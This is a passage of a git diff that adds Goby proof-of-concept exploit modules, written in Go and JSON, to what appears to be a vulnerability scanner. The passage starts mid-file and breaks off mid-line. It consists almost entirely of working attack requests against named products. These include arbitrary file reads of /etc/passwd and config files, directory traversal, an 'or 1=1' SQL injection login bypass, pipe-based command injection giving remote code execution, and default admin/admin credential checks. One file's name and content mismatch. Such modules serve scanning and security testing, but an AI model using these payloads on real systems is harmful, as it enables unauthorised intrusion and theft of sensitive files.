", + "References": [ + "https://gobies.org/" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "File", + "type": "input", + "value": "/etc/passwd" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND" + ], + "ExploitSteps": null, + "Tags": [ + "File read" + ], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": [ + "ACTI Camera" + ], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + uri := "/cgi-bin/SystemLog.cgi?loadLogContent" + cfg := httpclient.NewPostRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + cfg.Data = "Filename=/etc/passwd" + if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil { + return resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "root") + } + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + file := ss.Params["File"].(string) + uri := fmt.Sprintf("/cgi-bin/SystemLog.cgi?loadLogContent") + cfg := httpclient.NewPostRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + cfg.Data = fmt.Sprintf("Filename=%s", file) + if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil { + expResult.Output = resp.Utf8Html + expResult.Success = true + } + return expResult + }, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/HanWang_Time_Attendance_SQL_injection.go b/lib/goby/goby_pocs/HanWang_Time_Attendance_SQL_injection.go new file mode 100644 index 000000000..bfd3e3ba1 --- /dev/null +++ b/lib/goby/goby_pocs/HanWang_Time_Attendance_SQL_injection.go @@ -0,0 +1,90 @@ +package exploits + +import ( + "fmt" + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "strings" +) + +func init() { + expJson := `{ + "Name": "HanWang Time Attendance SQL injection", + "Description": "HanWang Time Attendance SQL injection", + "Product": "HanWang Time Attendance", + "Homepage": "https://www.hw99.com/", + "DisclosureDate": "2021-05-19", + "Author": "PeiQi", + "GobyQuery": "title=\"汉王人脸考勤管理系统\"", + "Level": "2", + "Impact": "SQL injection", + "Recommendation": "", + "References": [ + "http://wiki.peiqi.tech" + ], + "HasExp": false, + "ExpParams": null, + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND", + { + "Request": { + "data": "", + "data_type": "text", + "follow_redirect": true, + "method": "GET", + "uri": "/" + }, + "ResponseTest": { + "checks": [ + { + "bz": "", + "operation": "==", + "type": "item", + "value": "200", + "variable": "$code" + } + ], + "operation": "AND", + "type": "group" + } + } + ], + "ExploitSteps": null, + "Tags": ["SQL injection"], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": ["HanWang Time Attendance"], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + uri := "/Login/Check" + cfg := httpclient.NewPostRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + cfg.Data = "strName=admin' or 1=1--&strPwd=admin" + if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil { + return resp.StatusCode == 200 && strings.Contains(resp.RawBody, "ok") + } + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + return expResult + }, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/Holographic_AI_network_operation_and_maintenance_platform_RCE.go b/lib/goby/goby_pocs/Holographic_AI_network_operation_and_maintenance_platform_RCE.go new file mode 100644 index 000000000..e58983932 --- /dev/null +++ b/lib/goby/goby_pocs/Holographic_AI_network_operation_and_maintenance_platform_RCE.go @@ -0,0 +1,111 @@ +package exploits + +import ( + "git.gobies.org/goby/goscanner/goutils" +) + +func init() { + expJson := `{ + "Name": "Holographic AI network operation and maintenance platform RCE", + "Description": "Holographic AI network operation and maintenance platform has command execution vulnerability, attackers can construct special requests to execute arbitrary commands ", + "Product": "Holographic AI network operation and maintenance platform", + "Homepage": "http://www.tg-net.cn", + "DisclosureDate": "2021-08-02", + "Author": "luckying1314@139.com", + "GobyQuery": "title=\"全息AI网络运维平台\"", + "Level": "3", + "Impact": "", + "Recommandation": "

1. Use functions that execute commands as little as possible or disable them directly

2. Parameter values should be included in quotation marks

3. Before using dynamic functions, ensure that the function you use is one of the specified functions

4. Filter parameters and escape sensitive characters before entering the function/method of the command

", + "References": [ + "https://poc.shuziguanxing.com/#/publicIssueInfo#issueId=4313" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "Cmd", + "type": "createSelect", + "value": "whoami,id,cat /etc/passwd", + "show": "" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND", + { + "Request": { + "method": "POST", + "uri": "/nmss/toolMenu/Ajax/ajax_system_set.php", + "follow_redirect": true, + "header": { + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + }, + "data_type": "text", + "data": "cmd=ping_hostname&hostname=|cat /etc/passwd&packet_size=0&count=0&haveEn=0" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "root", + "bz": "" + } + ] + }, + "SetVariable": [] + } + ], + "ExploitSteps": [ + "AND", + { + "Request": { + "method": "POST", + "uri": "/nmss/toolMenu/Ajax/ajax_system_set.php", + "follow_redirect": true, + "header": { + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + }, + "data_type": "text", + "data": "cmd=ping_hostname&hostname=|{{{Cmd}}}&packet_size=0&count=0&haveEn=0" + }, + "SetVariable": [ + "output|lastbody" + ] + } + ], + "Tags": [ + "RCE" + ], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": [ + "Holographic AI network operation and maintenance platform" + ], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + nil, + nil, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/Hsmedia_Hgateway_Default_account.json b/lib/goby/goby_pocs/Hsmedia_Hgateway_Default_account.json new file mode 100644 index 000000000..e59520644 --- /dev/null +++ b/lib/goby/goby_pocs/Hsmedia_Hgateway_Default_account.json @@ -0,0 +1,55 @@ +{ + "Name": "D-Link AC Centralized management system Default weak password", + "Level": "2", + "Tags": [ + "Default weak password" + ], + "GobyQuery": "title=\"AC集中管理平台\" && body=\"D-Link路由器管理页\" && app=\"DLink-Router\"", + "Description": "D-Link AC management system has default account password, which can be used to obtain sensitive information (admin/admin)", + "Product": "D-Link AC management system", + "Homepage": "http://www.dlink.com.cn/", + "Author": "PeiQi", + "Impact": "

Access to sensitive information

", + "Recommandation": "", + "References": [ + "http://wiki.peiqi.tech" + ], + "ScanSteps": [ + "AND", + { + "Request": { + "method": "POST", + "uri": "/login.cgi", + "follow_redirect": true, + "header": { + "Content-Type": "application/x-www-form-urlencoded" + }, + "data_type": "text", + "data": "user=admin&password=admin" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "not contains", + "value": "flag=0", + "bz": "" + } + ] + }, + "SetVariable": [] + } + ], + "PostTime": "2021-04-04 21:13:54", + "GobyVersion": "1.8.255" +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/Huijietong_cloud_video_fileDownload_File_read.go b/lib/goby/goby_pocs/Huijietong_cloud_video_fileDownload_File_read.go new file mode 100644 index 000000000..fe4d85a42 --- /dev/null +++ b/lib/goby/goby_pocs/Huijietong_cloud_video_fileDownload_File_read.go @@ -0,0 +1,107 @@ +package exploits + +import ( + "fmt" + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "strings" +) + +func init() { + expJson := `{ + "Name": "Huijietong cloud video fileDownload File read", + "Description": "Huijietong cloud video fileDownload File read", + "Product": "Huijietong cloud video", + "Homepage": "http://www.hjtcloud.com/", + "DisclosureDate": "2021-05-17", + "Author": "PeiQi", + "GobyQuery": "body=\"/him/api/rest/v1.0/node/role\"", + "Level": "1", + "Impact": "Server arbitrary file read", + "Recommendation": "", + "References": [ + "http://wiki.peiqi.tech" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "File", + "type": "input", + "value": "/etc/passwd" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND", + { + "Request": { + "data": "", + "data_type": "text", + "follow_redirect": true, + "method": "GET", + "uri": "/" + }, + "ResponseTest": { + "checks": [ + { + "bz": "", + "operation": "==", + "type": "item", + "value": "200", + "variable": "$code" + } + ], + "operation": "AND", + "type": "group" + } + } + ], + "ExploitSteps": null, + "Tags": ["File read"], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": ["Huijietong cloud video"], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + uri := "/fileDownload?action=downloadBackupFile" + cfg := httpclient.NewPostRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + cfg.Data = "fullPath=/etc/passwd" + if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil { + return resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "root") + } + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + file := ss.Params["File"].(string) + uri := "/fileDownload?action=downloadBackupFile" + cfg := httpclient.NewPostRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + cfg.Data = fmt.Sprintf("fullPath=%s",file) + if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil { + expResult.Output = resp.Utf8Html + expResult.Success = true + } + return expResult + }, + )) +} diff --git a/lib/goby/goby_pocs/Huijietong_cloud_video_list_Information_leakage.go b/lib/goby/goby_pocs/Huijietong_cloud_video_list_Information_leakage.go new file mode 100644 index 000000000..79ce78ff7 --- /dev/null +++ b/lib/goby/goby_pocs/Huijietong_cloud_video_list_Information_leakage.go @@ -0,0 +1,95 @@ +package exploits + +import ( + "fmt" + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "strings" +) + +func init() { + expJson := `{ + "Name": "Huijietong cloud video list Information leakage", + "Description": "Huijietong cloud video list Information leakage", + "Product": "Huijietong cloud video", + "Homepage": "http://www.hjtcloud.com/", + "DisclosureDate": "2021-05-17", + "Author": "PeiQi", + "GobyQuery": "body=\"/him/api/rest/v1.0/node/role\"", + "Level": "1", + "Impact": "Server Information leakage", + "Recommendation": "", + "References": [ + "http://wiki.peiqi.tech" + ], + "HasExp": false, + "ExpParams": [ + { + "name": "", + "type": "", + "value": "" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND", + { + "Request": { + "data": "", + "data_type": "text", + "follow_redirect": true, + "method": "GET", + "uri": "/" + }, + "ResponseTest": { + "checks": [ + { + "bz": "", + "operation": "==", + "type": "item", + "value": "200", + "variable": "$code" + } + ], + "operation": "AND", + "type": "group" + } + } + ], + "ExploitSteps": null, + "Tags": ["Information leakage"], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": ["Huijietong cloud video"], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + uri := "/him/api/rest/V1.0/system/log/list?filePath=../" + cfg := httpclient.NewGetRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil { + return resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "absolutePath") + } + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + return expResult + }, + )) +} diff --git a/lib/goby/goby_pocs/JEEWMS_Arbitrary_File_Read_Vulnerability.go b/lib/goby/goby_pocs/JEEWMS_Arbitrary_File_Read_Vulnerability.go new file mode 100644 index 000000000..0db0b80fa --- /dev/null +++ b/lib/goby/goby_pocs/JEEWMS_Arbitrary_File_Read_Vulnerability.go @@ -0,0 +1,103 @@ +package exploits + +import ( + "git.gobies.org/goby/goscanner/goutils" +) + +func init() { + expJson := `{ + "Name": "JEEWMS Arbitrary File Read Vulnerability", + "Description": "JeewMS is a warehouse management system based on Java.\\nThere is an unauthorized file reading vulnerability in JEEWMS, and the attacker can use the vulnerability to read any file from the server without authorization.", + "Product": "jeewms", + "Homepage": "https://gitee.com/erzhongxmu/jeewms", + "DisclosureDate": "2020-11-09", + "Author": "luckying1314@139.com", + "GobyQuery": "body=\"plug-in/lhgDialog/lhgdialog.min.js?skin=metro\" && body=\"仓\"", + "Level": "2", + "Impact": "

Arbitrary file download or read vulnerability is mainly because when the application system provides the function of file download or read, the application system directly specifies the file path in the file path parameter and does not verify the legitimacy of the file path, resulting in the attacker can jump through the directory (..\\ or../) way to download or read a file outside the original specified path.The attacker can finally download or read any file on the system through the vulnerability, such as database files, application system source code, password configuration information and other important sensitive information, resulting in the sensitive information leakage of the system.

", + "Recommandation": "

Limit../ symbol, file download to determine the input path, the best way is that the file should be in the database for one-to-one correspondence, avoid by entering the absolute path to get files

", + "References": [ + "https://www.pwnwiki.org/index.php?title=JQuery_1.7.2_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BC%89%E6%BC%8F%E6%B4%9E" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "path", + "type": "input", + "value": "../../../../../etc/passwd", + "show": "" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND", + { + "Request": { + "method": "GET", + "uri": "/systemController/showOrDownByurl.do?down=&dbPath=../../../../../etc/passwd", + "follow_redirect": false, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "root", + "bz": "" + } + ] + }, + "SetVariable": [] + } + ], + "ExploitSteps": [ + "AND", + { + "Request": { + "method": "GET", + "uri": "/systemController/showOrDownByurl.do?down=&dbPath={{{path}}}", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "SetVariable": [ + "output|lastbody" + ] + } + ], + "Tags": [], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": ["jeewms"], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + nil, + nil, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/Jellyfin_Audio_File_read_CVE_2021_21402.go b/lib/goby/goby_pocs/Jellyfin_Audio_File_read_CVE_2021_21402.go new file mode 100644 index 000000000..556925480 --- /dev/null +++ b/lib/goby/goby_pocs/Jellyfin_Audio_File_read_CVE_2021_21402.go @@ -0,0 +1,118 @@ +package exploits + +import ( + "fmt" + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "net/url" + "strings" +) + +func init() { + expJson := `{ + "Name": "Jellyfin Audio File read (CVE-2021-21402)", + "Description": "Jellyfin is a Free Software Media System. In Jellyfin before version 10.7.1, with certain endpoints, well crafted requests will allow arbitrary file read from a Jellyfin server's file system. This issue is more prevalent when Windows is used as the host OS. Servers that are exposed to the public Internet are potentially at risk. This is fixed in version 10.7.1. As a workaround, users may be able to restrict some access by enforcing strict security permissions on their filesystem, however, it is recommended to update as soon as possible.", + "Product": "Jellyfin", + "Homepage": "https://jellyfin.org/", + "DisclosureDate": "2021-03-23", + "Author": "PeiQi", + "GobyQuery": "title=\"Jellyfin\"", + "Level": "2", + "Impact": "File read", + "Recommendation": "Update patches in time", + "References": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21402", + "RealReferences": [ + "https://github.com/jellyfin/jellyfin/commit/0183ef8e89195f420c48d2600bc0b72f6d3a7fd7", + "https://github.com/jellyfin/jellyfin/releases/tag/v10.7.1", + "https://github.com/jellyfin/jellyfin/security/advisories/GHSA-wg4c-c9g9-rxhx", + "https://nvd.nist.gov/vuln/detail/CVE-2021-21402", + "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21402" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "File", + "type": "input", + "value": "windows/win.ini" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND", + { + "Request": { + "data": "", + "data_type": "text", + "follow_redirect": true, + "method": "GET", + "uri": "/" + }, + "ResponseTest": { + "checks": [ + { + "bz": "", + "operation": "==", + "type": "item", + "value": "200", + "variable": "$code" + } + ], + "operation": "AND", + "type": "group" + } + } + ], + "ExploitSteps": null, + "Tags": ["File read"], + "CVEIDs": [ + "CVE-2021-21402" + ], + "CVSSScore": "6.5", + "AttackSurfaces": { + "Application": ["Jellyfin"], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + }, + "Disable": false +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + uri := "/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/" + cfg := httpclient.NewGetRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil { + return resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "extensions") + } + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + file := ss.Params["File"].(string) + file = strings.Replace(file, "/", "\\", -1) + file = url.QueryEscape(file) + uri := "/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5C" + file + "/stream.mp3/" + cfg := httpclient.NewGetRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil { + if resp.StatusCode == 200 { + expResult.Output = resp.Utf8Html + expResult.Success = true + } + } + return expResult + }, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/JingHe_OA_download.asp_File_read.go b/lib/goby/goby_pocs/JingHe_OA_download.asp_File_read.go new file mode 100644 index 000000000..a725c2e99 --- /dev/null +++ b/lib/goby/goby_pocs/JingHe_OA_download.asp_File_read.go @@ -0,0 +1,88 @@ +package exploits + +import ( + "fmt" + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "strings" + "regexp" + "net/url" +) + +func init() { + expJson := `{ + "Name": "JingHe OA download.asp File read", + "Description": "There is an arbitrary file reading vulnerability in Jinhe OA C6 download.jsp file, through which an attacker can obtain sensitive information in the server", + "Product": "JingHe OA", + "Homepage": "http://www.jinher.com/", + "DisclosureDate": "2021-06-09", + "Author": "PeiQi", + "GobyQuery": "app=\"Jinher-OA\"", + "Level": "2", + "Impact": "

JingHe OA

", + "Recommendation": "Update", + "References": [ + "http://wiki.peiqi.tech" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "File", + "type": "input", + "value": "/c6/web.config" + } + ], + "ScanSteps": [ + "AND" + ], + "ExploitSteps": null, + "Tags": [ + "File read" + ], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": [ + "JingHe OA" + ], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + }, + "Recommandation": "

undefined

" +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + uri := "/C6/Jhsoft.Web.module/testbill/dj/download.asp?filename=/c6/web.config" + cfg := httpclient.NewGetRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil { + return resp.StatusCode == 200 && strings.Contains(resp.RawBody, "configuration") + } + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + file := ss.Params["File"].(string) + uri := "/C6/Jhsoft.Web.module/testbill/dj/download.asp?filename=" + file + cfg := httpclient.NewGetRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil { + if resp.StatusCode == 200 { + expResult.Output = resp.RawBody + expResult.Success = true + } + } + return expResult + }, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/Kingdee_EAS_server_file_Directory_traversal.go b/lib/goby/goby_pocs/Kingdee_EAS_server_file_Directory_traversal.go new file mode 100644 index 000000000..9a30a3396 --- /dev/null +++ b/lib/goby/goby_pocs/Kingdee_EAS_server_file_Directory_traversal.go @@ -0,0 +1,94 @@ +package exploits + +import ( + "fmt" + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "strings" + "regexp" +) + +func init() { + expJson := `{ + "Name": "Kingdee EAS server_file Directory traversal", + "Description": "Kingdee EAS server file Directory traversal,The attacker can obtain the sensitive information of the server through directory traversal", + "Product": "Kingdee EAS", + "Homepage": "https://www.kingdee.com/", + "DisclosureDate": "2021-06-03", + "Author": "PeiQi", + "GobyQuery": "app=\"kingdee-EAS\"", + "Level": "1", + "Impact": "

Directory traversal

", + "Recommendation": "", + "References": [ + "http://wiki.peiqi.tech" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "Dir", + "type": "input", + "value": "/" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND" + ], + "ExploitSteps": null, + "Tags": [ + "Directory traversal" + ], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": [ + "Kingdee EAS" + ], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + }, + "Recommandation": "

undefined

" +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + uri := "/appmonitor/protected/selector/server_file/files?folder=/&suffix=" + cfg := httpclient.NewGetRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil { + return resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "folder") + } + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + dir := ss.Params["Dir"].(string) + uri := "/appmonitor/protected/selector/server_file/files?folder=" + dir + "&suffix=" + cfg := httpclient.NewGetRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil { + re := regexp.MustCompile(`"path":"(.*?)"`).FindAllString(resp.RawBody, -1) + data := "" + for _, path := range re { + data += path + "\r\n" + } + expResult.Output = data + expResult.Success = true + } + return expResult + }, + )) +} diff --git a/lib/goby/goby_pocs/LanhaiZuoyue_system_debug.php_RCE.go b/lib/goby/goby_pocs/LanhaiZuoyue_system_debug.php_RCE.go new file mode 100644 index 000000000..3ec4800df --- /dev/null +++ b/lib/goby/goby_pocs/LanhaiZuoyue_system_debug.php_RCE.go @@ -0,0 +1,106 @@ +package exploits + +import ( + "fmt" + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "strings" +) + +func init() { + expJson := `{ + "Name": "LanhaiZuoyue system debug.php RCE", + "Description": "LanhaiZuoyue system debug.php RCE", + "Product": "LanhaiZuoyue system", + "Homepage": "https://www.cuoshui.com", + "DisclosureDate": "2021-05-18", + "Author": "PeiQi", + "GobyQuery": "title=\"蓝海卓越计费管理系统\"", + "Level": "1", + "Impact": "RCE", + "Recommendation": "", + "References": [ + "http://wiki.peiqi.tech" + ], + "HasExp": true, + "ExpParams": null, + "ExpParams": [ + { + "name": "Cmd", + "type": "input", + "value": "id" + } + ], + "ScanSteps": [ + "AND", + { + "Request": { + "data": "", + "data_type": "text", + "follow_redirect": true, + "method": "GET", + "uri": "/" + }, + "ResponseTest": { + "checks": [ + { + "bz": "", + "operation": "==", + "type": "item", + "value": "200", + "variable": "$code" + } + ], + "operation": "AND", + "type": "group" + } + } + ], + "ExploitSteps": null, + "Tags": ["RCE"], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": ["LanhaiZuoyue system"], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + uri := "/debug.php" + cfg := httpclient.NewPostRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + cfg.Data = "cmd=id" + if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil { + return resp.StatusCode == 200 && strings.Contains(resp.RawBody, "uid") + } + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + cmd := ss.Params["Cmd"].(string) + uri := "/debug.php" + cfg := httpclient.NewPostRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + cfg.Data = "cmd=id" + if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil { + if resp.StatusCode == 200 { + expResult.Output = resp.Utf8Html + expResult.Success = true + } + } + return expResult + }, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/LanhaiZuoyue_system_download.php_File_read.go b/lib/goby/goby_pocs/LanhaiZuoyue_system_download.php_File_read.go new file mode 100644 index 000000000..d1e3197db --- /dev/null +++ b/lib/goby/goby_pocs/LanhaiZuoyue_system_download.php_File_read.go @@ -0,0 +1,104 @@ +package exploits + +import ( + "fmt" + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "strings" +) + +func init() { + expJson := `{ + "Name": "LanhaiZuoyue system download.php File read", + "Description": "LanhaiZuoyue system download.php File read", + "Product": "LanhaiZuoyue system", + "Homepage": "https://www.cuoshui.com", + "DisclosureDate": "2021-05-18", + "Author": "PeiQi", + "GobyQuery": "title=\"蓝海卓越计费管理系统\"", + "Level": "1", + "Impact": "File read", + "Recommendation": "", + "References": [ + "http://wiki.peiqi.tech" + ], + "HasExp": true, + "ExpParams": null, + "ExpParams": [ + { + "name": "File", + "type": "input", + "value": "/etc/passwd" + } + ], + "ScanSteps": [ + "AND", + { + "Request": { + "data": "", + "data_type": "text", + "follow_redirect": true, + "method": "GET", + "uri": "/" + }, + "ResponseTest": { + "checks": [ + { + "bz": "", + "operation": "==", + "type": "item", + "value": "200", + "variable": "$code" + } + ], + "operation": "AND", + "type": "group" + } + } + ], + "ExploitSteps": null, + "Tags": ["File read"], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": ["LanhaiZuoyue system"], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + uri := "/download.php?file=../../../../../etc/passwd" + cfg := 